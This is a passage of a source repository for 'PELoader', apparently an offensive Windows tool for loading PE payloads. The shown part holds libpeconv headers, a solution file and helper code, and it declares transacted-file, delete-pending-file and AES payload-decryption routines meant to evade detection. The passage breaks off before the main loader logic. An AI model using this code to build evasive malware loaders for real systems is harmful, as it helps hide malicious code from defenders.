├── img ├── cdll.PNG ├── map.PNG ├── mdll.PNG ├── priv.PNG ├── txf.PNG └── ghost.PNG ├── PELoader ├── libpeconv │ ├── libpeconv.lib │ ├── libpeconv32.lib │ └── include │ │ ├── peconv │ │ ├── find_base.h │ │ ├── resource_parser.h │ │ ├── pe_raw_to_virtual.h │ │ ├── caves.h │ │ ├── pe_mode_detector.h │ │ ├── resource_util.h │ │ ├── function_resolver.h │ │ ├── peb_lookup.h │ │ ├── exports_lookup.h │ │ ├── load_config_util.h │ │ ├── util.h │ │ ├── relocate.h │ │ ├── pe_virtual_to_raw.h │ │ ├── pe_loader.h │ │ ├── tls_parser.h │ │ ├── file_util.h │ │ ├── pe_dumper.h │ │ ├── delayed_imports_loader.h │ │ ├── buffer_util.h │ │ ├── imports_loader.h │ │ ├── imports_uneraser.h │ │ ├── fix_imports.h │ │ ├── hooks.h │ │ ├── exported_func.h │ │ ├── pe_hdrs_helper.h │ │ ├── exports_mapper.h │ │ ├── remote_pe_reader.h │ │ └── load_config_defs.h │ │ └── peconv.h ├── PELoader │ ├── map_dll_image.h │ ├── transacted_file.h │ ├── PELoader.user │ ├── PELoader.vcxproj.user │ ├── pe_hdrs_helper.h │ ├── delete_pending_file.h │ ├── util.h │ ├── AES.h │ ├── map_dll_image.cpp │ ├── pe_hdrs_helper.cpp │ ├── PELoader.filters │ ├── transacted_file.cpp │ ├── delete_pending_file.cpp │ ├── util.cpp │ ├── PELoader.vcxproj │ ├── PELoader.cpp │ └── AES.cpp └── PELoader.sln └── README.md /img/cdll.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hagrid29/PELoader/HEAD/img/cdll.PNG -------------------------------------------------------------------------------- /img/map.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hagrid29/PELoader/HEAD/img/map.PNG -------------------------------------------------------------------------------- /img/mdll.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hagrid29/PELoader/HEAD/img/mdll.PNG -------------------------------------------------------------------------------- /img/priv.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hagrid29/PELoader/HEAD/img/priv.PNG -------------------------------------------------------------------------------- /img/txf.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hagrid29/PELoader/HEAD/img/txf.PNG -------------------------------------------------------------------------------- /img/ghost.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hagrid29/PELoader/HEAD/img/ghost.PNG -------------------------------------------------------------------------------- /PELoader/libpeconv/libpeconv.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hagrid29/PELoader/HEAD/PELoader/libpeconv/libpeconv.lib -------------------------------------------------------------------------------- /PELoader/libpeconv/libpeconv32.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hagrid29/PELoader/HEAD/PELoader/libpeconv/libpeconv32.lib -------------------------------------------------------------------------------- /PELoader/PELoader/map_dll_image.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | PVOID map_dll_image(const char* dll_name); 6 | -------------------------------------------------------------------------------- /PELoader/PELoader/transacted_file.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | HANDLE make_transacted_section(wchar_t* targetPath, BYTE* payladBuf, DWORD payloadSize); 6 | 7 | -------------------------------------------------------------------------------- /PELoader/PELoader/PELoader.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /PELoader/PELoader/PELoader.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /PELoader/PELoader/pe_hdrs_helper.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | WORD get_pe_architecture(const BYTE *pe_buffer); 6 | 7 | DWORD get_entry_point_rva(const BYTE *pe_buffer); 8 | 9 | bool pe_is64bit(IN const BYTE *pe_buffer); 10 | -------------------------------------------------------------------------------- /PELoader/PELoader/delete_pending_file.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #pragma once 4 | 5 | #include 6 | 7 | HANDLE make_section_from_delete_pending_file(wchar_t* filePath, BYTE* payladBuf, DWORD payloadSize); 8 | 9 | HANDLE make_section_from_overwrite_file(wchar_t* filePath, BYTE* payladBuf, DWORD payloadSize); 10 | 11 | -------------------------------------------------------------------------------- /PELoader/PELoader/util.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | DWORD translate_protect(DWORD sec_charact); 5 | bool is_compatibile(BYTE *implant_dll); 6 | 7 | void encryptFile(const char* payloadPath, char* outputPath); 8 | BYTE* decryptFile(const char* payloadPath, OUT size_t& r_size); 9 | 10 | 11 | PIMAGE_NT_HEADERS get_nt_headers(const BYTE* virtualpointer); 12 | size_t getSizeOfImage(wchar_t* FilePath); 13 | -------------------------------------------------------------------------------- /PELoader/PELoader/AES.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | void AES_ECB_encrypt(const uint8_t* input, const uint8_t* key, uint8_t* output, const uint32_t length); 6 | void AES_ECB_decrypt(const uint8_t* input, const uint8_t* key, uint8_t* output, const uint32_t length); 7 | 8 | void AES_CBC_encrypt_buffer(uint8_t* output, uint8_t* input, uint32_t length, const uint8_t* key, const uint8_t* iv); 9 | void AES_CBC_decrypt_buffer(uint8_t* output, uint8_t* input, uint32_t length, const uint8_t* key, const uint8_t* iv); 10 | 11 | -------------------------------------------------------------------------------- /PELoader/libpeconv/include/peconv/find_base.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * @brief Functions related to finding a base to which the module was relocated. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | 10 | namespace peconv { 11 | 12 | /** 13 | Try to find a base to which the PE file was relocated, basing on the filled relocations. 14 | WARNING: the found base is an estimate, and sometimes may not be fully accurate. 15 | \param module_ptr : the module which's base is being searched 16 | \param module_size : the size of the given module 17 | \return the base to which the module was relocated 18 | */ 19 | ULONGLONG find_base_candidate(IN BYTE *module_ptr, IN size_t module_size); 20 | }; 21 | -------------------------------------------------------------------------------- /PELoader/libpeconv/include/peconv/resource_parser.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * @brief Parsing PE's resource directory. 4 | */ 5 | 6 | #pragma once 7 | #include 8 | 9 | namespace peconv { 10 | /** 11 | A callback that will be executed by the function parse_resources when the Resource Entry was found. 12 | */ 13 | typedef bool(*t_on_res_entry_found) ( 14 | BYTE* modulePtr, 15 | IMAGE_RESOURCE_DIRECTORY_ENTRY *root_dir, 16 | IMAGE_RESOURCE_DATA_ENTRY *curr_entry 17 | ); 18 | 19 | /** 20 | A function walking through the Resource Tree of the given PE. On each Resource Entry found, the callback is executed. 21 | \param modulePtr : pointer to the buffer with the PE in a Virtual format 22 | \param on_entry : a callback function executed on each Resource Entry 23 | */ 24 | bool parse_resources(BYTE* modulePtr, t_on_res_entry_found on_entry); 25 | }; 26 | -------------------------------------------------------------------------------- /PELoader/libpeconv/include/peconv.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * @brief Master include file, including everything else. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include "peconv/buffer_util.h" 9 | #include "peconv/util.h" 10 | #include "peconv/pe_hdrs_helper.h" 11 | #include "peconv/pe_mode_detector.h" 12 | #include "peconv/pe_raw_to_virtual.h" 13 | #include "peconv/pe_virtual_to_raw.h" 14 | #include "peconv/relocate.h" 15 | #include "peconv/remote_pe_reader.h" 16 | #include "peconv/imports_loader.h" 17 | #include "peconv/pe_loader.h" 18 | #include "peconv/pe_dumper.h" 19 | #include "peconv/exports_lookup.h" 20 | #include "peconv/function_resolver.h" 21 | #include "peconv/hooks.h" 22 | #include "peconv/exports_mapper.h" 23 | #include "peconv/caves.h" 24 | #include "peconv/fix_imports.h" 25 | #include "peconv/delayed_imports_loader.h" 26 | #include "peconv/resource_parser.h" 27 | #include "peconv/load_config_util.h" 28 | #include "peconv/peb_lookup.h" 29 | #include "peconv/find_base.h" 30 | #include "peconv/tls_parser.h" 31 | -------------------------------------------------------------------------------- /PELoader/libpeconv/include/peconv/pe_raw_to_virtual.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * @brief Converting PE from raw to virtual format. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | #include 10 | 11 | #include "buffer_util.h" 12 | 13 | namespace peconv { 14 | 15 | /** 16 | Converts a raw PE supplied in a buffer to a virtual format. 17 | If the executable flag is true (default), the PE file is loaded into executable memory. 18 | Does not apply relocations. Does not load imports. 19 | Automatically allocates buffer of the needed size (the size is returned in outputSize). The buffer can be freed by the function free_pe_module. 20 | If the desired_base is defined (0 by default), it enforces allocation at the particular base. 21 | */ 22 | BYTE* pe_raw_to_virtual( 23 | IN const BYTE* rawPeBuffer, 24 | IN size_t rawPeSize, 25 | OUT size_t &outputSize, 26 | IN OPTIONAL bool executable = true, 27 | IN OPTIONAL ULONGLONG desired_base = 0 28 | ); 29 | 30 | }; // namespace peconv 31 | -------------------------------------------------------------------------------- /PELoader/libpeconv/include/peconv/caves.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * @brief Functions related to finding caves in the loaded PE file. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | 10 | namespace peconv { 11 | 12 | /** 13 | Finds cave at the end of the image (extend last section's raw size without extending the full image size) 14 | */ 15 | PBYTE find_ending_cave(BYTE* module_ptr, size_t module_size, const DWORD cave_size, const DWORD cave_charact=IMAGE_SCN_MEM_READ); 16 | 17 | /** 18 | Finds cave in the difference between the original raw size, and the raw size rounded to the aligmnent 19 | */ 20 | PBYTE find_alignment_cave(BYTE* modulePtr, size_t moduleSize, const DWORD cave_size, const DWORD req_charact = IMAGE_SCN_MEM_READ); 21 | 22 | /** 23 | Finds cave at the end of the section, that comes from a NULL padding or INT3 padding 24 | */ 25 | PBYTE find_padding_cave(BYTE* modulePtr, size_t moduleSize, const size_t minimal_size, const DWORD req_charact = IMAGE_SCN_MEM_READ); 26 | 27 | };//namespace peconv 28 | -------------------------------------------------------------------------------- /PELoader/libpeconv/include/peconv/pe_mode_detector.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * @brief Detecting in which mode is the PE in the supplied buffer (i.e. raw, virtual). Analyzes PE features typical for particular modes. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | 10 | #include "pe_hdrs_helper.h" 11 | 12 | namespace peconv { 13 | 14 | /** 15 | check if the PE in the memory is in raw format 16 | */ 17 | bool is_pe_raw( 18 | IN const BYTE* pe_buffer, 19 | IN size_t pe_size 20 | ); 21 | 22 | /** 23 | check if Virtual section addresses are identical to Raw addresses (i.e. if the PE was realigned) 24 | */ 25 | bool is_pe_raw_eq_virtual( 26 | IN const BYTE* pe_buffer, 27 | IN size_t pe_size 28 | ); 29 | 30 | /** 31 | checks if the PE has sections that were unpacked/expanded in the memory 32 | */ 33 | bool is_pe_expanded( 34 | IN const BYTE* pe_buffer, 35 | IN size_t pe_size 36 | ); 37 | 38 | /** 39 | checks if the given section was unpacked in the memory 40 | */ 41 | bool is_section_expanded(IN const BYTE* pe_buffer, 42 | IN size_t pe_size, 43 | IN const PIMAGE_SECTION_HEADER sec 44 | ); 45 | 46 | };// namespace peconv 47 | -------------------------------------------------------------------------------- /PELoader/libpeconv/include/peconv/resource_util.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * @brief Functions related to manual retrieving of PE resources. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | #include "buffer_util.h" 10 | 11 | namespace peconv { 12 | 13 | const LPSTR RT_RCDATA_A = MAKEINTRESOURCEA(10); 14 | 15 | /** 16 | Maps a resource with the given id + type and copies its raw content into the output buffer. 17 | If out_size is not zero, it reads maximum out_size of bytes. If out_size is zero, it reads the full resource. 18 | The actual read size is returned back in out_size. 19 | Automatically allocates a buffer of the required size. 20 | If hInstance is NULL, it search the resource in the current module. Otherwise, it search in the given module. 21 | */ 22 | peconv::ALIGNED_BUF load_resource_data(OUT size_t &out_size, const int res_id, const LPSTR res_type = RT_RCDATA_A, HMODULE hInstance = nullptr); 23 | 24 | /** 25 | Free the buffer with PE Resources, mapped by the function load_resource_data. 26 | */ 27 | void free_resource_data(peconv::ALIGNED_BUF buffer); 28 | 29 | /** 30 | a helper function to get the module handle of the current DLL 31 | */ 32 | HMODULE get_current_module_handle(); 33 | 34 | }; //namespace peconv 35 | -------------------------------------------------------------------------------- /PELoader/libpeconv/include/peconv/function_resolver.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * @brief Definitions of basic Imports Resolver classes. They can be used for filling imports when the PE is loaded. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | 10 | namespace peconv { 11 | /** 12 | A base class for functions resolver. 13 | */ 14 | class t_function_resolver { 15 | public: 16 | /** 17 | Get the address (VA) of the function with the given name, from the given DLL. 18 | \param func_name : the name of the function 19 | \param lib_name : the name of the DLL 20 | \return Virtual Address of the exported function 21 | */ 22 | virtual FARPROC resolve_func(LPSTR lib_name, LPSTR func_name) = 0; 23 | }; 24 | 25 | /** 26 | A default functions resolver, using LoadLibraryA and GetProcAddress. 27 | */ 28 | class default_func_resolver : t_function_resolver { 29 | public: 30 | /** 31 | Get the address (VA) of the function with the given name, from the given DLL, using LoadLibraryA and GetProcAddress. 32 | \param func_name : the name of the function 33 | \param lib_name : the name of the DLL 34 | \return Virtual Address of the exported function 35 | */ 36 | virtual FARPROC resolve_func(LPSTR lib_name, LPSTR func_name); 37 | }; 38 | 39 | }; //namespace peconv 40 | -------------------------------------------------------------------------------- /PELoader/PELoader.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31829.152 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PELoader", "PELoader\PELoader.vcxproj", "{AC1A0705-194A-4A78-96E7-5A9F730ED9DB}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {AC1A0705-194A-4A78-96E7-5A9F730ED9DB}.Debug|x64.ActiveCfg = Debug|x64 17 | {AC1A0705-194A-4A78-96E7-5A9F730ED9DB}.Debug|x64.Build.0 = Debug|x64 18 | {AC1A0705-194A-4A78-96E7-5A9F730ED9DB}.Debug|x86.ActiveCfg = Debug|Win32 19 | {AC1A0705-194A-4A78-96E7-5A9F730ED9DB}.Debug|x86.Build.0 = Debug|Win32 20 | {AC1A0705-194A-4A78-96E7-5A9F730ED9DB}.Release|x64.ActiveCfg = Release|x64 21 | {AC1A0705-194A-4A78-96E7-5A9F730ED9DB}.Release|x64.Build.0 = Release|x64 22 | {AC1A0705-194A-4A78-96E7-5A9F730ED9DB}.Release|x86.ActiveCfg = Release|Win32 23 | {AC1A0705-194A-4A78-96E7-5A9F730ED9DB}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {1EF02266-76B6-4AED-9EAD-259921F9F9DB} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /PELoader/libpeconv/include/peconv/peb_lookup.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * @brief Functions for retrieving process information from PEB. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | 10 | namespace peconv { 11 | 12 | /** 13 | Gets handle to the given module via PEB. A low-level equivalent of `GetModuleHandleW`. 14 | \param module_name : (optional) the name of the DLL loaded within the current process. If not set, the main module of the current process is used. 15 | \return the handle of the DLL with given name, or, if the name was not given, the handle of the main module of the current process. 16 | */ 17 | HMODULE get_module_via_peb(IN OPTIONAL LPWSTR module_name = nullptr); 18 | 19 | 20 | /** 21 | Gets size of the given module via PEB. 22 | \param hModule : (optional) the base of the module which's size we want to retrieve. If not set, the main module of the current process is used. 23 | \return the size of the given module. 24 | */ 25 | size_t get_module_size_via_peb(IN OPTIONAL HMODULE hModule = nullptr); 26 | 27 | /** 28 | Sets the given module as the main module in the current PEB. 29 | \param hModule : the module to be connected to the current PEB. 30 | \return true if succeeded, false if failed 31 | */ 32 | bool set_main_module_in_peb(HMODULE hModule); 33 | 34 | /** 35 | Gets the main module from the current PEB. 36 | \return the main module connected to the current PEB. 37 | */ 38 | HMODULE get_main_module_via_peb(); 39 | }; 40 | 41 | -------------------------------------------------------------------------------- /PELoader/libpeconv/include/peconv/exports_lookup.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * @brief Searching specific functions in PE's Exports Table. 4 | */ 5 | 6 | #pragma once 7 | #include 8 | 9 | #include "pe_hdrs_helper.h" 10 | #include "function_resolver.h" 11 | #include "exports_mapper.h" 12 | 13 | #include 14 | #include 15 | #include 16 | 17 | namespace peconv { 18 | 19 | /** 20 | Gets the function address by the name. Uses Export Table lookup. 21 | WARNING: doesn't work for the forwarded functions. 22 | */ 23 | FARPROC get_exported_func(PVOID modulePtr, LPSTR wanted_name); 24 | 25 | /** 26 | Gets list of all the functions from a given module that are exported by names. 27 | */ 28 | size_t get_exported_names(PVOID modulePtr, std::vector &names_list); 29 | 30 | /** 31 | Function resolver using Export Table lookup. 32 | */ 33 | class export_based_resolver : default_func_resolver { 34 | public: 35 | /** 36 | Get the address (VA) of the function with the given name, from the given DLL. 37 | Uses Export Table lookup as a primary method of finding the import. On failure it falls back to the default Functions Resolver. 38 | \param func_name : the name of the function 39 | \param lib_name : the name of the DLL 40 | \return Virtual Address of the exported function 41 | */ 42 | virtual FARPROC resolve_func(LPSTR lib_name, LPSTR func_name); 43 | }; 44 | 45 | /** 46 | Read the DLL name from the Export Table. 47 | */ 48 | LPSTR read_dll_name(HMODULE modulePtr); 49 | 50 | }; //namespace peconv 51 | -------------------------------------------------------------------------------- /PELoader/libpeconv/include/peconv/load_config_util.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * @brief Fetching Load Config Directory and recognizing its version. 4 | */ 5 | 6 | #pragma once 7 | #include 8 | 9 | #include "buffer_util.h" 10 | #include "load_config_defs.h" 11 | 12 | namespace peconv { 13 | 14 | /** 15 | A version of Load Config Directory. 16 | */ 17 | typedef enum { 18 | LOAD_CONFIG_NONE = 0, /**< Load Config Directory not found */ 19 | LOAD_CONFIG_W7_VER = 7, /**< Load Config Directory in the Windows 7 version */ 20 | LOAD_CONFIG_W8_VER = 8, /**< Load Config Directory in the Windows 8 version */ 21 | LOAD_CONFIG_W10_VER = 10, /**< Load Config Directory in the Windows 10 version */ 22 | LOAD_CONFIG_UNK_VER = -1 /**< Load Config Directory in an unknown version */ 23 | } t_load_config_ver; 24 | 25 | /** 26 | Get a pointer to the Load Config Directory within the given PE. 27 | \param buffer : a buffer containing the PE file in a Virtual format 28 | \param buf_size : size of the buffer 29 | \return a pointer to the Load Config Directory, NULL if the given PE does not have this directory 30 | */ 31 | BYTE* get_load_config_ptr(BYTE* buffer, size_t buf_size); 32 | 33 | /** 34 | Detect which version of Load Config Directory was used in the given PE. 35 | \param buffer : a buffer containing the PE file in a Virtual format 36 | \param buf_size : size of the buffer 37 | \param ld_config_ptr : pointer to the Load Config Directory within the given PE 38 | \return detected version of Load Config Directory 39 | */ 40 | t_load_config_ver get_load_config_version(BYTE* buffer, size_t buf_size, BYTE* ld_config_ptr); 41 | 42 | }; // namespace peconv 43 | -------------------------------------------------------------------------------- /PELoader/libpeconv/include/peconv/util.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * @brief Miscellaneous utility functions. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include "file_util.h" 9 | #include "resource_util.h" 10 | 11 | namespace peconv { 12 | /** 13 | Checks if the given buffer is fully filled with the specified character. 14 | \param cave_ptr : pointer to the buffer to be checked 15 | \param cave_size : size of the buffer to be checked 16 | \param padding_char : the required character 17 | */ 18 | bool is_padding(const BYTE *cave_ptr, size_t cave_size, const BYTE padding_char); 19 | 20 | /** 21 | Wrapper for GetProcessId - for a backward compatibility with old versions of Windows 22 | */ 23 | DWORD get_process_id(HANDLE hProcess); 24 | 25 | /** 26 | Verifies if the calling process has a defined access to the specified continuous range of memory, defined by areaStart and areaSize. 27 | If the area includes pages that are not commited, or pages with access rights PAGE_GUARD | PAGE_NOACCESS, it is treated as inaccessible. 28 | \param areaStart : A pointer to the first byte of the memory block 29 | \param areaSize : The size of the memory block, in bytes. If this parameter is zero, the return value is false. 30 | \param accessRights : The access rights to be checked 31 | */ 32 | bool is_mem_accessible(LPCVOID areaStart, SIZE_T areaSize, DWORD accessRights); 33 | 34 | /** 35 | Verifies that the calling process has read access to the specified range of memory. 36 | \param areaStart : A pointer to the first byte of the memory block 37 | \param areaSize : The size of the memory block, in bytes. If this parameter is zero, the return value is true (bad pointer). 38 | */ 39 | bool is_bad_read_ptr(LPCVOID areaStart, SIZE_T areaSize); 40 | }; 41 | 42 | -------------------------------------------------------------------------------- /PELoader/PELoader/map_dll_image.cpp: -------------------------------------------------------------------------------- 1 | #include "map_dll_image.h" 2 | 3 | #include 4 | #include "ntddk.h" 5 | 6 | PVOID map_dll_image(const char* dll_name) 7 | { 8 | HANDLE hFile = CreateFileA( 9 | dll_name, 10 | GENERIC_READ, 11 | 0, 12 | NULL, 13 | OPEN_EXISTING, 14 | FILE_ATTRIBUTE_NORMAL, 15 | NULL 16 | ); 17 | if (!hFile || hFile == INVALID_HANDLE_VALUE) { 18 | std::cerr << "Couldn't open the file!" << std::hex << hFile << std::endl; 19 | return NULL; 20 | } 21 | #ifdef _DEBUG 22 | std::cout << "File created, handle: " << std::hex << hFile << std::endl; 23 | #endif 24 | HANDLE hSection = nullptr; 25 | NTSTATUS status = NtCreateSection( 26 | &hSection, 27 | SECTION_ALL_ACCESS, 28 | NULL, 29 | 0, 30 | PAGE_READONLY, 31 | SEC_IMAGE, 32 | hFile 33 | ); 34 | bool is_ok = false; 35 | if (status != STATUS_SUCCESS) { 36 | std::cerr << "NtCreateSection failed" << std::endl; 37 | } 38 | else { 39 | #ifdef _DEBUG 40 | std::cerr << "NtCreateSection created at:" << std::hex << hSection << std::endl; 41 | #endif 42 | is_ok = true; 43 | } 44 | 45 | CloseHandle(hFile); 46 | if (!is_ok) { 47 | return NULL; 48 | } 49 | 50 | PVOID sectionBaseAddress = NULL; 51 | SIZE_T viewSize = 0; 52 | SECTION_INHERIT inheritDisposition = ViewShare; //VIEW_SHARE 53 | if ((status = NtMapViewOfSection(hSection, 54 | NtCurrentProcess(), 55 | §ionBaseAddress, 56 | NULL, 57 | NULL, 58 | NULL, 59 | &viewSize, 60 | inheritDisposition, 61 | NULL, 62 | PAGE_READONLY) 63 | ) != STATUS_SUCCESS) 64 | { 65 | std::wcout << "[ERROR] NtMapViewOfSection failed, status : " << std::hex << status << "\n"; 66 | } 67 | else { 68 | #ifdef _DEBUG 69 | std::wcout << "Section BaseAddress: " << std::hex << sectionBaseAddress << "\n"; 70 | #endif 71 | is_ok = true; 72 | } 73 | return sectionBaseAddress; 74 | } 75 | -------------------------------------------------------------------------------- /PELoader/libpeconv/include/peconv/relocate.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * @brief Operating on PE file's relocations table. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | 10 | namespace peconv { 11 | 12 | typedef struct _BASE_RELOCATION_ENTRY { 13 | WORD Offset : 12; 14 | WORD Type : 4; 15 | } BASE_RELOCATION_ENTRY; 16 | 17 | class RelocBlockCallback 18 | { 19 | public: 20 | RelocBlockCallback(bool _is64bit) 21 | : is64bit(_is64bit) 22 | { 23 | } 24 | 25 | virtual bool processRelocField(ULONG_PTR relocField) = 0; 26 | 27 | protected: 28 | bool is64bit; 29 | }; 30 | 31 | // Processs the relocation table and make your own callback on each relocation field 32 | bool process_relocation_table(IN PVOID modulePtr, IN SIZE_T moduleSize, IN RelocBlockCallback *callback); 33 | 34 | /** 35 | Applies relocations on the PE in virtual format. Relocates it from the old base given to the new base given. 36 | If 0 was supplied as the old base, it assumes that the old base is the ImageBase given in the header. 37 | \param modulePtr : a buffer containing the PE to be relocated 38 | \param moduleSize : the size of the given PE buffer 39 | \param newBase : a base to which the PE should be relocated 40 | \param oldBase : a base to which the PE is currently relocated (if not set, the imageBase from the header will be used) 41 | */ 42 | bool relocate_module(IN BYTE* modulePtr, IN SIZE_T moduleSize, IN ULONGLONG newBase, IN ULONGLONG oldBase = 0); 43 | 44 | /** 45 | Checks if the given PE has a valid relocations table. 46 | \param modulePtr : a buffer containing the PE to be checked 47 | \param moduleSize : the size of the given PE buffer 48 | */ 49 | bool has_valid_relocation_table(IN const PBYTE modulePtr, IN const size_t moduleSize); 50 | 51 | };//namespace peconv 52 | -------------------------------------------------------------------------------- /PELoader/libpeconv/include/peconv/pe_virtual_to_raw.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * @brief Converting PE from virtual to raw format. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | 10 | #include "buffer_util.h" 11 | 12 | namespace peconv { 13 | 14 | /** 15 | Maps virtual image of PE to into raw. Automaticaly applies relocations. 16 | Automatically allocates buffer of the needed size (the size is returned in outputSize). 17 | \param payload : the PE in the Virtual format that needs to be converted into the Raw format 18 | \param in_size : size of the input buffer (the PE in the Virtual format) 19 | \param loadBase : the base to which the given PE was relocated 20 | \param outputSize : the size of the output buffer (the PE in the Raw format) 21 | \param rebuffer : if set (default), the input buffer is rebuffered and the original buffer is not modified. 22 | \return a buffer of the outputSize, containing the Raw PE. The buffer can be freed by the function free_pe_module. 23 | */ 24 | BYTE* pe_virtual_to_raw( 25 | IN BYTE* payload, 26 | IN size_t in_size, 27 | IN ULONGLONG loadBase, 28 | OUT size_t &outputSize, 29 | IN OPTIONAL bool rebuffer=true 30 | ); 31 | 32 | /* 33 | Modifies raw alignment of the PE to be the same as virtual alignment. 34 | \param payload : the PE in the Virtual format that needs to be realigned 35 | \param in_size : size of the input buffer 36 | \param loadBase : the base to which the given PE was relocated 37 | \param outputSize : the size of the output buffer (the PE in the Raw format) 38 | \return a buffer of the outputSize, containing the realigned PE. The buffer can be freed by the function free_pe_module. 39 | */ 40 | BYTE* pe_realign_raw_to_virtual( 41 | IN const BYTE* payload, 42 | IN size_t in_size, 43 | IN ULONGLONG loadBase, 44 | OUT size_t &outputSize 45 | ); 46 | 47 | };//namespace peconv 48 | -------------------------------------------------------------------------------- /PELoader/PELoader/pe_hdrs_helper.cpp: -------------------------------------------------------------------------------- 1 | #include "pe_hdrs_helper.h" 2 | 3 | BYTE* get_nt_hrds(const BYTE *pe_buffer) 4 | { 5 | if (pe_buffer == NULL) return NULL; 6 | 7 | IMAGE_DOS_HEADER *idh = (IMAGE_DOS_HEADER*)pe_buffer; 8 | if (idh->e_magic != IMAGE_DOS_SIGNATURE) { 9 | return NULL; 10 | } 11 | const LONG kMaxOffset = 1024; 12 | LONG pe_offset = idh->e_lfanew; 13 | 14 | if (pe_offset > kMaxOffset) return NULL; 15 | 16 | IMAGE_NT_HEADERS32 *inh = (IMAGE_NT_HEADERS32 *)(pe_buffer + pe_offset); 17 | if (inh->Signature != IMAGE_NT_SIGNATURE) { 18 | return NULL; 19 | } 20 | return (BYTE*)inh; 21 | } 22 | 23 | WORD get_pe_architecture(const BYTE *pe_buffer) 24 | { 25 | void *ptr = get_nt_hrds(pe_buffer); 26 | if (ptr == NULL) return 0; 27 | 28 | IMAGE_NT_HEADERS32 *inh = static_cast(ptr); 29 | return inh->FileHeader.Machine; 30 | } 31 | 32 | WORD get_nt_hdr_architecture(IN const BYTE *pe_buffer) 33 | { 34 | void *ptr = get_nt_hrds(pe_buffer); 35 | if (!ptr) return 0; 36 | 37 | IMAGE_NT_HEADERS32 *inh = static_cast(ptr); 38 | return inh->OptionalHeader.Magic; 39 | } 40 | 41 | DWORD get_entry_point_rva(const BYTE *pe_buffer) 42 | { 43 | WORD arch = get_pe_architecture(pe_buffer); 44 | BYTE* payload_nt_hdr = get_nt_hrds(pe_buffer); 45 | if (payload_nt_hdr == NULL) { 46 | return 0; 47 | } 48 | DWORD ep_addr = 0; 49 | if (arch == IMAGE_FILE_MACHINE_AMD64) { 50 | IMAGE_NT_HEADERS64* payload_nt_hdr64 = (IMAGE_NT_HEADERS64*)payload_nt_hdr; 51 | ep_addr = payload_nt_hdr64->OptionalHeader.AddressOfEntryPoint; 52 | } else { 53 | IMAGE_NT_HEADERS32* payload_nt_hdr32 = (IMAGE_NT_HEADERS32*)payload_nt_hdr; 54 | ep_addr = static_cast(payload_nt_hdr32->OptionalHeader.AddressOfEntryPoint); 55 | } 56 | return ep_addr; 57 | } 58 | 59 | bool pe_is64bit(IN const BYTE *pe_buffer) 60 | { 61 | WORD arch = get_nt_hdr_architecture(pe_buffer); 62 | if (arch == IMAGE_NT_OPTIONAL_HDR64_MAGIC) { 63 | return true; 64 | } 65 | return false; 66 | } 67 | -------------------------------------------------------------------------------- /PELoader/libpeconv/include/peconv/pe_loader.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * @brief Loading PE from a file with the help of the custom loader. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include "pe_raw_to_virtual.h" 9 | #include "function_resolver.h" 10 | 11 | namespace peconv { 